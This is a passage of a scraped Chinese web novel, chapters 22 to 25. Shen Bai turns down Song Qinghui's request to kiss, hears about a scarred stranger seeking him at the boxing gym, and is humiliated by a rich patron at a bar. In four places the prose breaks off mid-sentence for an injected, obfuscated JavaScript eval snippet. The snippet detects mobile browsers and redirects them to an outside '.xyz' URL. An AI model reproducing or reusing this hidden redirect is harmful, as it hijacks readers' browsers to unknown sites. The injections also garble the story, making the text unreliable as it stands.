见沈白张了张嘴似乎想说什么,宋清辉却比他更快一步,他看着沈白,面无表情道:“你要是想赶我走,我劝你还是死了那条心吧,我不会走的。” 沈白:“……” 沈白觉得有点好笑,听宋先生这语气,不知道的怕是还以为他这廉价出租屋是什么好地方呢。 “宋先生晚上吃东西了吗,饿不饿?”沈白没再继续这个话题,随口抛出个问题,试图缓解下紧张的气氛。 宋清辉当然没吃晚饭,他下午处理完公司的事情就直接过来了,然后就窝在沙发上看沈白忙忙碌碌打扫了一下午卫生,看着看着就睡着了。 他睡眠其实一直不是很好,长期需要依靠药物入睡,而且对声音特别敏感,很容易被轻微的声响给惊醒。 宋清辉其实撒了个小谎,他醒得比沈白抱他进卧室时还要早,他觉浅,早在沈白站在他面前,纠结要不要叫醒他的时候,他就已经醒了。 不过这些就没必要告诉沈白了。 见宋清辉不说话,沈白觉得他大概率是有点饿了但又不好意思说,于是站起身,很是善解人意道,“我也有点饿了,我去看看家里有没有什么能吃的,宋先生稍等一会儿。” 沈白起身的时候,把刚才用过的玻璃杯一起拿走,顺手给洗了。 因为刚搬过来的缘故,家里的食材不多,厨具也不怎么齐全,加上又是大半夜,沈白就没弄什么特别复杂的样式,用下午在超市买的挂面下了两碗鸡蛋西红柿炝锅面。 沈白厨艺挺好的,以前沈宁还在的时候,因为病痛常年胃口不好,为了让他尽量多吃点东西,沈白十来岁的时候就开始学着做饭了。 大概是为了让沈白放心,向来吃什么都吃不多的沈宁,每次吃沈白做的饭都能比平时多吃一些。 沈白其实还蛮喜欢自己动手做饭的,不过后来沈宁走了,只剩沈白一个人,他就很少动手做饭了。 再后来和周牧云确定关系之后,沈白不是特别忙的时候也会下厨,但是比起他做的饭,周牧云更喜欢在外面吃或者叫外卖。 沈白是那种很会迁就和包容自己另一半的伴侣,所以在了解周牧云的喜好后,他不会勉强周牧云必须吃自己做的饭,而是减少了下厨的频率,经常陪周牧云一起吃外卖。 碗碟是今天在楼下超市买的,价格便宜实惠,就是花纹有些土,除此之外也没什么其他缺点了。 沈白端着面出去的时候,发现原本坐在沙发上的宋清辉不知道什么时候换了地方,此时已经特别自觉地坐在了桌前。 房东留下的桌子是那种很便宜的木质小方桌,大概是使用的时间太久了,桌面上留下了深深浅浅或凹或凸的痕迹。 即便沈白已经买了pvc的透明桌布盖在上面,那些划痕迹依旧挺明显的,说实话……有点埋汰。 而且那桌子的尺寸也有点问题,和沈白自己带来的凳子高度不大匹配,这就导致成年人如果坐在上面,腿脚只能稍稍蜷缩起来。 看着宋清辉那双无处安放只能憋屈蜷着的大长腿,沈白琢磨着,不然明天去家具城的时候顺带着也看看桌子吧。 “家里食材不多,我就随便做了点,宋先生凑合着先垫一垫吧。”沈白将面放在了宋清辉面前,又给他递了双筷子。 “挺好的,”宋清辉接过筷子,礼貌道,“谢谢。” 连猜都不用猜宋清辉就知道,沈白的这碗炝锅面下面一定卧了鸡蛋,他用筷子在碗里轻轻戳了下。 果不其然,戳到了沈白卧在碗底的鸡蛋,宋清辉心情很好,将鸡蛋夹出来很快消灭掉了。 沈白看他吃饭动作挺优雅的,一举一动都挺赏心悦目,但是很快他就发现,宋先生动作虽然挺优雅,可进食速度却一点也不慢。 他甚至连汤也一起喝了。 沈白看着面前的空碗,有点怀疑自己是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691321|173361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是面下少了,犹豫几秒,还是开口问道:“宋先生,吃饱了吗?” “饱了,”宋清辉点了点头,认真点评道,“挺好吃的,下次还能做给我吃吗?” “你想吃的话,随时跟我说就好。”这又不是什么难事,既然宋清辉喜欢,沈白自然不会拒绝。 沈白洗完锅碗从厨房出来的时候,刚好看到宋清辉从洗手间出来,看样子应该是刚洗漱完,脸上的水都还没来得及擦干。 大概是刚才洗脸的时候没太注意,水泼在脸上的同时连同他额前碎发也被一并打湿了,除此之外,衬衣的领口和袖子也湿了一小块。 但这些水非但没有让他看上去显得狼狈,反倒在他精致眉眼的加持下,为他平添几分色-情与性感,美得让人只觉惊心动魄。 幸好,沈白有点轻微脸盲。 见他要走,沈白连忙把人给叫住,“唉,宋先生,等一会儿。” 宋清辉很听话,沈白让他等,他就真的乖乖站在了原地。 沈白绕过他走进洗手间,将今天洗好搭在架子上晾晒的毛巾取下来,递给了站在门口等着的宋先生。 宋清辉没接。 沈白以为他没明白理解自己的意思,想了下,索性自己动手,直接用毛巾帮他擦干净脸上的水珠。 擦完看上去果然顺眼多了。 见宋清辉还站在门口不动,沈白这才后知后觉意识到自己刚才的举动好像有点冒犯,他有些懊恼于自己的鲁莽,立刻道歉道:“抱歉,冒犯到你……” “没关系。”宋清辉打断,盯着他看了几秒,伸手指了指他手里的那条毛巾,问:“那是你的毛巾?” 沈白以为他介意,立刻解释道:“对,但你放心,毛巾是今天刚买的,只洗了一下,我没有用过。” “我不介意。”宋清辉道,说完转过身准备离开,可不知为什么,走了两步又转过身,冲沈白问,“你是不是要洗漱?” 沈白脑子其实还有点懵,不过还是下意识应了,“嗯。” “那你洗吧,我在客厅等你。” 直到宋清辉的身影彻底消失在沈白的视线里,沈白还在思考。 不是,宋先生等他……是要干嘛? 顶着满脑子的问号,沈白将毛巾洗干净重新搭在了架子上,然后开始洗漱。 等沈白洗漱出来,果然在客厅的沙发上看到了宋清辉,而且见他从洗手间出来,宋清辉还冲他招了招手。 沈白不明所以,却还是走了过去。 见宋清辉嘴唇动了动,好像说了什么,不过距离有点远,他没太听清楚,所以弯下腰想要凑近了听。 这下沈白终于听清楚了,宋清辉说。 “沈白,我想接吻。” 22. 第 22 章 第22章 沈白怀疑自己最近是不是打工打疯了,太累以至于出现幻听了。 尤其是看宋清辉满脸坦然,坦然到仿佛刚才那句炸裂的发言不是出自于他口一样。 刚才为了听清楚宋清辉说话,沈白弯下了腰,所以两人之间的距离特别近,近到他甚至能够清晰感觉到宋清辉的呼吸打在他耳朵上时带来的阵阵温热感。 不对劲儿,现在这个情况实在是太不对劲儿了。 沈白下意识想要直起身,拉开与宋清辉之间危险的距离,然而宋清辉似乎早已经料到了他的举动,比沈白反应更快一步,赶在他离开前伸手抓住了他的领口。 力度不大,沈白如果想要挣脱的话,是完全可以轻松挣开的。 但不知道为什么,沈白迟疑了几秒,到底是如宋清辉所愿,保持了原来的姿势没再动。 “宋先生,你是在拿我取乐吗?”沈白的声音里染上了几分无奈,但依旧是温和理智的。 宋清辉眨了眨眼,不答反问,“你会用接吻的方式和别人取乐吗?” 沈白:“……” 这问题他还真不知道该怎么回答,毕竟在前几天被宋清辉在车上强吻之前,沈白还没跟人接过吻。 倒也不是没人跟他表达过好感,沈白属于那种乍一看之下并不如何起眼,可随着跟他接触的时间越久,便越容易会对他产生好感的类型。 但沈白以前实在是太忙了,每天上班兼职忙得跟陀螺似的,睡觉的时间都不太够用,更别提谈恋爱了。 如果不是周牧云对他有恩,沈白估计到现在都还是母胎单身。 虽然和周牧云交往了五年,但两人之间早在交往前就已经说开了,沈白只拿周牧云当弟弟,两人之间的相处模式比起情侣,更像是兄弟搭伙过日子。 至于周牧云对沈白是什么感情,怎么说呢……周牧云说喜欢沈白,但沈白看得透彻,他觉得周牧云与其说是喜欢他,不如说是喜欢待在他身边时那种安定的感觉。 嗜赌如命又有暴力倾向的父亲,拥有新家庭后跪下来求他不要再来打扰的母亲,以及他以为能够共度一生,却在新鲜感褪去后,选择劈腿背叛的前男友。 当时的沈白,对于周牧云来说就像是一根飘在水上的浮木,他唯有死死抓住,才不会被溺死在看不到任何希望的未来里。 未必有多喜欢,只是不能放手罢了。 见沈白居然在自己面前发呆,宋清辉歪了歪头,思考了几秒,开口道:“沈白,我要吻你了。” 被宋清辉声音唤回神,沈白叹了口气,道:“宋先生,接吻是只能和喜欢的人发生的亲密行为。” “这样啊。”宋清辉很轻地点了下头,好像把他的话听进去了。 沈白还没来得及松口气,却听宋清辉紧接着又道。 “沈白,我喜欢你。” 宋清辉的眼睛一瞬不瞬的盯着沈白。 两人之间的距离是如此之近,近到沈白能够清晰看到他像扇子一样纤长浓密的眼睫,和那双黑白分明的漂亮眼睛里清楚的倒映出自己的脸。 然后沈白听到他很轻地问,“现在,我们可以接吻了吗?” 下一秒,沈白感觉握住自己领口的那只手微微用力,两人之间本就很近的距离随着他的动作,又被拉近了一大截。 沈白闻到了宋清辉身上的味道,那是一种很淡很淡的,平时很容易会被忽略掉的木调冷香。 很好闻。 太近了,近到彼此的呼吸与心跳清晰可闻。 宋清辉的吻几乎就要落在沈白的唇上,可就在关键的时候,沈白微微偏了下头,于是这个如羽毛般的吻便擦着沈白的唇角,最终落在了沈白的脸上。 沈白愣了下,清醒过来后迅速拉开了两人之间的距离。 “抱歉。” 宋清辉看了眼自己空空的,什么也没有抓住的手心,停顿了许久才开口问,“不可以吗?” “你刚才说,接吻是只能和喜欢的人进行的亲密行为,”宋清辉眼中闪过些许困惑与不解,他直直迎上沈白的视线,认真问道,“我喜欢你,不行吗?” 他的表情实在是太过正经,就好像他跟沈白不是在讨论接吻,而是在探讨什么特别严肃的学术课题。 沈白不知道该怎么回答。 沈白闭了闭眼,沉默了片刻,缓缓开口道:“宋先生,单方面的喜欢,是不行的。” “为什么?”宋清辉问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691322|173361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 沈白脸上隐有倦色,他捏了捏眉心,让自己被撩拨到有些心烦意乱的情绪平静下来。 再睁开眼睛时,沈白眼中已经重新恢复了清明,他在宋清辉面前蹲下,与他平视,声音温和却又不失力度。 “宋先生,单方面的喜欢可能会给人造成困扰,接吻是件需要相互喜欢才可以做的事情。” 他语速不快,所以每个字都清晰无比的传进了宋清辉的耳朵里。 宋清辉听懂了。 原来喜欢没有用啊,必须要相互喜欢才可以。 大概是宋清辉眼中的失落情绪太过明显,以至于原本立场很坚定的沈白也有了片刻的动摇,但好在也只是片刻。 宋清辉沉默了很长时间,再抬头时,眼里的失落已经一扫而空,转而提出了一个新的问题。 “但是沈白,我不知道你什么时候能喜欢上我,在你没有喜欢上我之前,我们都不能接吻吗?” 虽然是提问,但宋清辉其实心里早已经知道了答案,所以不等沈白开口,他迟疑了几秒,道:“接吻不行的话,亲一下总是可以的吧?” 亲吻和接吻又不一样。 沈白原本表情还挺严肃的,听到他这讨价还价般的话,差点没绷住。 他似是有些无奈,没有回答这个问题,而是站起身,伸手指了指墙上的挂钟,道:“已经挺晚了,早点休息吧。” 宋清辉躺在卧室的床上,看着头顶老旧泛黄的天花板,看得眼睛都有些酸了,却迟迟不肯闭上。 他有点想抽烟,但等真把那支烟从烟盒抽出来,宋清辉忽然想到,沈白不喜欢烟味。 所以那支烟终究是没有被点燃,而是被它的主人攥在手心,翻来覆去,捏得皱皱巴巴,不成样子。 与之一墙相隔,向来睡眠质量很好的沈白,今天也难得有些失眠。 只要闭上眼睛,宋清辉那双漂亮的眼睛就会浮现在他的脑海,如此反复了很多次,沈白从沙发上坐起来,起身去了阳台。 大概是傍晚下了场阵雨的缘故,今天晚上和平时相比似乎格外凉爽。 沈白伸手拉开窗户,裹挟着淡淡潮意的夜风从窗外吹来,仿佛能将近日以来所有的烦闷一并吹散。 23. 第 23 章 第23章 “看准了再打,注意站姿,出拳的时候看着镜中的自己,注意挥拳时手臂夹紧,动作不要变形。” 沈白纠正了一下小朋友的动作,见纠正了几次效果还是不太好,便让他停下来,看着自己的动作,给他示范。 小朋友学着沈白的动作重新调整了一下姿势,再次挥拳时,动作明显比刚才更加流畅。 沈白从来不吝啬于赞赏,伸手揉了揉小朋友的脑袋,道:“很棒,就是这样。” 收到教练表扬的小朋友虽然依旧严肃着一张小脸,但练习的时候更加专注,也更加努力了。 看他们练得挺好,沈白刚准备去喝口水,拳场的门却被人从外面推开了,老板站在门口冲沈白招了招手。 沈白对着因好奇而停下练习,朝着门口张望的小学员们道:“继续训练。” 小朋友们的好奇心来得快去得也快,被教练这么一说,很快收回视线,乖乖继续刚才没做完的训练。 沈白走到门口,有些奇怪地问道:“孙哥,你怎么这个点来拳馆了?” 孙文钊叹了口气,冲沈白摆了摆手,语带无奈道:“别提了,跟你嫂子吵架了,昨天晚上被从家里赶出来了,没地方去,我就直接来拳馆睡了。” 沈白笑了下,道:“你这是又怎么惹到嫂子了?” “害,不说这个。”孙文钊不愿多谈自己那点家务事,话锋一转,道:“小白,我找你是有个事儿想跟你商量一下。” “昨天晚上九点多那会儿,咱们拳馆来了个男的,看上去年纪也不大,估摸着二三十岁左右吧,站在咱们的宣传栏旁边,盯着你的简介看了好长时间。” 孙文钊仔细回忆了一下那男人的长相,跟沈白描述了一下,“个子不是很高,估计也就一米七五的样子,左脸上有一道疤,挺长的,人看着也挺凶,给我感觉不是很好。” “我走过去问他是来干什么的,他上下打量我几眼,然后问咱们拳馆有没有陪练,怎么收费。” 拳馆当然是有陪练的,而且收费也挺贵。不过大部分客户找陪练都是冲着孙文钊来的,毕竟孙文钊年轻的时候拿过很多奖项,哪怕后来因伤退役之后,在圈子里的名气也一直挺大的。 沈白有时候也会接一些,但因为他下午还要去亮子的修车厂工作,所以在拳馆的时间只有上午。 一般情况下,来拳馆找陪练的客人大多都是下午下班后,或者晚上来得会比较多,所以沈白接陪练接得不多。 “我把店里陪练的价目表拿给他看,结果你猜怎么着?那人连看都没看,直接指着你的宣传栏,点名问你陪练是怎么收费的。” 说到这里,孙文钊皱了皱眉,道:“我感觉那男人有点奇怪,看上去也不像是正经来练拳的,就帮你给拒了,我说他要是实在想找陪练,不行我陪他练练呗,结果他说不用,就找你。” “我看他有点像是来找事的,本来打算直接把人给打发走,结果他……开价挺高的,一个小时三千,我不好替你做决定,所以来问问你,看你是怎么想的。” 这个价格何止是挺高,而是已经高到离谱的程度了。要知道孙文钊以前可是职业拳手,而且是在很多含金量很高的赛事上拿过不少奖项的职业拳击手,陪练一个小时也才一千五百块,熟客办卡还有折扣。 沈白没参加过任何知名国际比赛,更没有拿过什么含金量很高的奖项,他的陪练费用平时是三百块一个小时,会找他的大部分都是学生家长,看家里孩子练得挺好,也想学着玩一玩那种。 对方开的价格比沈白原本陪练的费用高了十倍,不用想也知道目的不会太单纯。 为了避免麻烦孙文钊本来是没打算答应的,但对方开价实在太高,孙文钊了解沈白的情况,知道他现在正是缺钱的时候,所以思虑再三,到底是没有一口回绝,而是打算问问沈白自己的意思。 听完孙文钊的描述,沈白又怎么会听不出来这人来者不善。 他仔细回忆了一下孙文钊描述的长相,却完全没有印象。这还挺反常的,毕竟左脸有长疤的男人特征挺明显的,沈白记忆力一直挺好,如果见过,应该不至于没有一点印象才对。 见沈白没说话,孙文钊像是突然想起什么,一拍脑袋,道:“怎么把这事儿忘了,咱们大厅有监控,你先上课,待会儿我去办公室看看能不能把昨天的监控录像调出来,你去认一认,看看是不是以前有什么过节。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691323|173361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 沈白点了点头,跟他道谢:“行,我知道了,谢谢孙哥。” 孙文钊拍了拍他的肩膀,转身朝着办公室走去。 他离开后,沈白没多想这件事,关上门继续给小学员们上课。 课程结束之后,沈白把小朋友们脱下的护具全部收拾好,刚准备去关窗户,但有个小小的身影比沈白更快一步跑到了窗边,垫着脚伸长了手臂试图帮忙关窗户。 不过由于年纪还小,个子不够高,所以哪怕宋唯已经很努力踮起脚,小手距离窗柄仍有一小段距离。 怕他摔倒,沈白赶紧跑过去将小朋友抱到一边,自己伸手将窗户关好。 “教练,我本来是想帮你的……”没帮上忙的小朋友表情有些失落,低垂着脑袋不敢看沈白。 沈白摸摸他的脑袋,道:“我知道,谢谢宋唯。” 小孩子最是敏感,通过大人的语气很容易便能分辨出对方的情绪,他在沈白的声音里没有听出责备,所以宋唯很快仰起头,冲沈白露出了一个大大的笑脸。 “教练,上次的事情,谢谢你!我回去问了妈妈,还把你说的话也告诉了妈妈,妈妈抱了我,她说你说得对,无论爸爸妈妈在一起还是分开,我永远都是他们的宝贝,不会不要我的!” 宋唯的声音还有些奶声奶气,可说起话来,不但吐字清晰还很有条理,看上去比同龄人要早慧很多,俨然一副小大人的模样。 沈白有些忍俊不禁,道:“那就好,以后如果再遇到让你不开心的事情,如果你愿意的话,也可以说给教练听,没准教练也能帮上忙呢。” 宋唯郑重其事的重重点了下头。 沈白关上灯,带着宋唯往休息室走去,临到休息室门口时,沈白思虑再三,还是有些不放心,于是开口问:“小唯,那天之后,你爸爸没再跟你说奇怪的话吧?” 宋唯眨了眨眼睛,歪着小脑袋冲沈白笑,“没有,我已经好久没见过爸爸啦。” “妈妈说爸爸以后都不会跟我们生活在一起啦,不过如果我想他了,可以给他打电话。” 沈白总觉得宋唯这话听上去好像有点奇怪,但考虑到小朋友可能表达方式和大人不太一样,便也没再多想。 24. 第 24 章 第24章 沈白把宋唯送到休息室,自己转身去了办公室找孙文钊看监控。 他去的时候,孙文钊已经把昨天晚上的监控调出来反复看了好几遍了,但是挺奇怪的,那男人也不知道是有意还是无意的在回避摄像头,监控能拍到他的身形,却没怎么拍到清晰的正脸。 见沈白来了,孙文钊冲他招了招手,随后双击鼠标,将自己刚才截下来的几张为数不多的正面照片放大,让沈白自己辨认。 “感觉这小子好像知道咱们店里监控的位置似的,我看了半天,能稍微看到点脸的我都截下来了,你看看认不认得出来。” 沈白跟他道谢后,弯腰开始查看孙文钊截下来的那几张图片。 男人戴着顶黑色的鸭舌帽,那帽子看上去平平无奇,但帽檐似乎比常见的那种帽子要更长,几乎挡住了半张脸,能看到的只有半个鼻子和嘴。 他嘴唇有点厚,唇角有一颗黑色的痦子,孙文钊给他递价格表的时候,男人微微侧了侧身,沈白看到他左脸上确实有一道疤,从脸颊蜿蜒到接近下颚的位置。 那疤痕看上去已经有些年头,不像是最近才添的新伤。 虽然没有看清楚男人的全貌,但沈白几乎可以确定,自己以前应当是没有见过这个人,不然以男人这么明显的样貌特征,他不可能一点印象都没有。 不过……即使没看到脸,沈白依旧从这人身上看出了点熟悉的感觉。 “孙哥,这人要是再来,你就帮我接了吧。”沈白收回视线,对孙文钊道。 这可着实让孙文钊意外了,哪怕他不认识这男人,也能看出来这人不怀好意,沈白可是比他更敏锐,不可能连他都看出来了,沈白会看不出来。 孙文钊想了想,道:“小白,你要是实在缺钱,我那儿还有点,明天我跟你嫂子说一声,把钱拿给你先应急。” “你嫂子那性格你还不知道吗,我身边那么多朋友,她就看你最顺眼了,别人借钱她不一定乐意,但要是你开口,你嫂子肯定不会有意见的。” 沈白心里微暖,但还是摇了摇头,道:“孙哥,你和嫂子的好意我心领了,借钱就不用了,之前借你们的钱都还没还,我心里已经挺过意不去了,怎么能再开口问你们借。” 提起这事儿,孙文钊叹了口气,他拍了拍沈白的肩膀,道:“借钱这事儿也怨我,当初小周打电话过来的时候,我应该直接问问你的,要是提前问了你,也就不会……” “说什么呢孙哥,你可千万别这么想。”沈白立刻打断道,哭笑不得道,“这年头借钱多难啊,你也是因为信任我才会拿钱给小周,你放心这个钱我一定会还的。” 孙文钊连连摆手,苦笑着道:“哥不会说话,但哥真不是那个意思,我和你嫂子最近都没什么用钱的地方,我那钱真不着急,你可千万别为了还钱就随便接工作啊。” “我明白,孙哥,当年要不是你跟嫂子拉我一把,我可能现在还在于锦华那儿打黑工呢。”沈白笑着道。 “前段时间于锦华来找过我,说是想让我回去接着跟他干。” 听沈白这么说,孙文钊立刻就急了,拍了下桌子:“那孙子还敢找你,让你回去?真他妈说得出口,当初你在他那里吃了多少苦,命都差点没了半条,他怎么还敢——” “不对啊,”话说到一半,孙文钊像是想起什么,皱着眉道,“于锦华之前不是被抓进去了吗,他什么时候放出来的?” “估计刚出来没多久吧,他出事之后我第一次见他是在半年前,他到我兼职的酒吧喝酒,但他一直没找我,我就也没把他放在心上。”沈白回忆了一下,缓缓道。 “你没答应他吧?”孙文钊眉头皱得更紧,满脸警惕地看着沈白。 见沈白摇头后,这才稍稍松了一口气,但表情依旧很严肃,孙文钊道:“沈白,你听哥一句劝,离那黑心的王八蛋远一点,别再跟他搅和在一起了,那王八蛋眼里只有钱,没有一点人性,你要是还跟他干,早晚有一天把命都搭里面。” 沈白笑着点了点头,应道:“孙哥你放心,我明白,不会的。” “我感觉这人,”沈白说着指了指屏幕上那张被孙文钊放大的男人的脸,道:“可能跟我一样,也是从于锦华那里出来的。” “我帮你拒了,把他直接拉黑,一会儿跟倩倩说一声,让她以后看到这人坚决不能放进拳馆。”孙文钊立刻道。 沈白被他这严阵以待的架势给逗乐了,他拍了拍孙文钊的肩膀,道:“不用,他要真是于锦华派来的,你这次拒了,下次他还会换人来的。” “他要是不来就算了,如果下次他再来,孙哥你就先帮我接了,我还挺想看看他打算干什么。” 见沈白打定主意,孙文钊叹了口气,有些不放心道:“行吧,你小子虽然平时看着挺好说话,可主意拿得正着呢,既然你心里有数,我也就不劝你了。” “帮你接下来可以,但有一点,你们俩训练的时候,我必须在场。” 这样万一那人真对沈白有什么不好的心思,自己就在旁边站着,出什么事也能及时站出来阻止。 “行,谢谢孙哥。”沈白哪儿能不明白他的好意,点头答应下来。 不过让沈白没想到的是,接下来的半个多月里,那男人后来居然再没出现过。 至于那三千块一小时的陪练费,自然也没能赚到手。 对此,沈白略感遗憾,毕竟像这样出手阔绰的冤大头平时确实挺少见的。 * “看什么呢,眼睛都不带眨一下的。” 朋友的声音惊醒了原本坐在卡座里发呆的康小言,他回过神,看向朋友那张贱嗖嗖的脸,没好气道:“大哥,你走路能不能出点声,不声不响跟个幽灵似的,会吓死人的!” 被骂了的朋友耸了耸肩,没和他计较,而是顺着他的视线看去。 “哦哦哦,你在看你介绍过来的那个小伙子啊,叫什么来着……沈什么?” “沈白。”康小言开口道。 “对,沈白。”朋友点了点头,伸手搭上他的肩膀,感慨道:“没想到啊小言,你这么不靠谱的人,这次居然难得靠谱了一次,还真给我挖来了个宝贝。” 康小言翻了个白眼,道:“我一直很靠谱的好吧!” 他原本还有点担心沈白会不适应这边酒水推销的工作,但很显然他的担心多余了,像沈白那样的人,真就是干什么成什么。 “你这朋友真有两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691324|173361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把刷子,我这地方你也知道,最不缺的就是俊男美女,可你这朋友长得既不是很出挑的那种,又不是嘴巴很能说会道的人,结果偏偏客人就是很吃他那一套。” “这才来了几天,昨天晚上的销售额在我店里都排进前三了,光提成就有这个数,”朋友伸手给康小言比了个数字,感慨道,“真是个人才啊。” 康小言脑袋立刻就支棱起来了,连连点头,得亏他没有尾巴,不然这会儿尾巴怕是都要翘到天上去了。 两人这边正聊着天呢,却听远处忽然传来一阵骚动。 康小言原本正在跟朋友夸夸其谈呢,听到动静往声源处张望了一眼,这一看不要紧,吓得他魂儿都没了。 “我怎么感觉像是冲着我哥去的,老吴你别在这儿喝了,赶紧去看看咋回事!” 他的感觉并没有出错,今天这事儿还真就是冲着沈白去的。 原因说起来也挺奇葩的,前两天有几个富二代带着女朋友来店里喝酒,原本负责他们那个台位的服务生吃坏了肚子,让沈白帮忙顶一会儿。 刚好沈白那会儿不太忙,于是就答应下来。可不曾想原本只是顺手帮同事个忙,却直接撞到了枪口上。 这群富二代里有个领头的姓齐,具体叫什么沈白不知道,只是听别人都叫他齐少,于是也就跟着这么喊了。 刚开始还挺正常的,这几个富二代都是不差钱的主儿,而且里面还有女孩子在场,所以出手特别阔绰,都不用沈白怎么推销就点了很多价格不菲的名贵酒水。 事情是从齐少和身边的女孩吵起来后,开始变得不对劲儿起来的。 说来也是挺巧,齐少旁边坐着的女孩是沈白驻唱那间酒吧的常客,所以在这边见到沈白,就跟他聊了两句。 谁知道齐少是个气量狭小的,看到自己正在追的女孩对自己爱答不理,却跟沈白这么个小服务生聊得那么开心,顿时就觉得被下了面子,开口阴阳了沈白两句。 结果沈白还没什么反应,他旁边的女孩先不乐意了,直接就呛声了回去,两人一来一回的,就吵起来了,酒局自然也不欢而散。 原本以为这事到这里就结束了,沈白也没怎么放在心上,却不料那位大少爷却是记恨上了他。 那天他带来的姑娘家世不俗,齐少不敢把那姑娘怎么着,但收拾沈白这种无权无势的小服务生,那还不是想怎么折腾怎么折腾。 桌上摆了满满当当一桌子酒水,洋酒啤酒白酒都有,从桌头到桌尾,摆满了各式各样的酒,就连旁边的小推车,上下两层也都放满了酒瓶。 齐乐海怀里搂着个衣着暴露的女人,笑眯眯对着沈白,道:“站着干什么,坐啊。” “既然你是瑶瑶的朋友,那就也是我朋友了,你看,知道你在这儿上班,我今天特意叫朋友过来给你捧场,这些酒可都是冲着你点的呢,光是提成你就能拿不少吧?” 齐乐海说着,低下头用嘴接过怀里女人递来的烟,惬意无比地抽了一大口,吐出一口烟雾,拖长了语调道:“但是,朋友嘛,都是相互的,我帮了你,你是不是也得帮帮我啊?毕竟天下没有白吃的午餐嘛。” “既然这些酒我都是冲着你点的,让你把这些全喝了,我这要求不过分吧?” 25. 第 25 章 第25章 如果只是喝酒的话,其实对沈白来说还挺无所谓的。 大概是遗传,沈白的母亲酒量非常好,看上去瘦瘦小小的女人,在酒桌上能够轻松喝倒一群平时酒量挺不错的男人。 沈白很好的继承了这一点,他对酒精也不是很敏感。虽然不至于千杯不醉,但真拼起酒量的话,很少有人能喝过他。 不过酒量好、不易醉不代表喝不醉,更何况齐乐海今天是有心刁难,桌上放着的,还有旁边架子上摆着的那些酒,沈白要是真全喝了,那就已经不是醉不醉的问题了,而是会酒精中毒,搞不好会要命的。 “怎么,这点面子都不肯给我吗?”齐乐海见沈白没反应,脸色很快便阴沉了下来。 他怀里的女人感觉到他的怒气,立刻娇笑着安抚道:“齐少,光是喝酒有什么意思,好歹也要来点游戏助助兴吧,而且这么贵的酒,让他一个服务生喝了岂不是便宜他了……” “这儿有你说话的份儿?我是不是太给你脸了。”齐乐海却半点不买账,伸手在女人那张娇艳的脸上拍了两下,力度不大,但侮辱性很强。 女人原本还算红润的脸色,随着他的动作‘唰’的一下变得苍白起来,她低下头,不敢再开口了。 她的示弱明显让齐乐海很满意,他半躺在沙发上,翘着二郎腿,眼神里带着几分嘲讽,冲沈白道:“怎么不说话啊,上次来的时候,那张嘴不是挺能说的吗?” “你平时都是这么跟人交朋友的吗,朋友请你喝点酒,这点面子都不给,清高成这样,认识你的知道你是酒吧服务生,不认识你的,怕是还以为你是什么名流家的少爷呢。” 此言一出,齐乐海那些狐朋狗友立刻爆发出一阵哄笑声。 “少爷?他算是哪门子的少爷,就是个穷鬼罢了,真以为给少爷开两瓶酒,自己就也能成少爷了?” “干嘛说话那么难听,没准儿人真是少爷呢,前段时间那谁不就包了一个,不贵,一个月也就两万块钱,那少爷就高兴地屁颠屁颠的,伺候起来卖力着呢!” “哈哈哈,想当少爷也得长得好看点吧,你看他这样,岔开腿都——” 那人污言秽语还没说完,伴随着一声清脆的酒瓶碎裂声,他的声音戛然而止。 这一酒瓶子下去,那人脑袋上直接见了血,坐在他旁边的女伴被吓得直接尖叫起来,一时间,场面一度变得非常混乱。 “我□□——”齐乐海见有人居然敢来找事,直接从位置上站了起来,也拿起桌上的酒瓶,起身就要帮他的狐朋狗友找回场子。 只是他的气势汹汹仅仅只维持了不到五秒,在冲到拿酒瓶砸人那人面前,看清楚那人的长相后,齐乐海下意识松开手,酒瓶失去抓握,落地发出‘当啷’一声闷响。 “付、付哥,您怎么来了?”齐乐海膝盖一软,差点没直接给那人跪下。 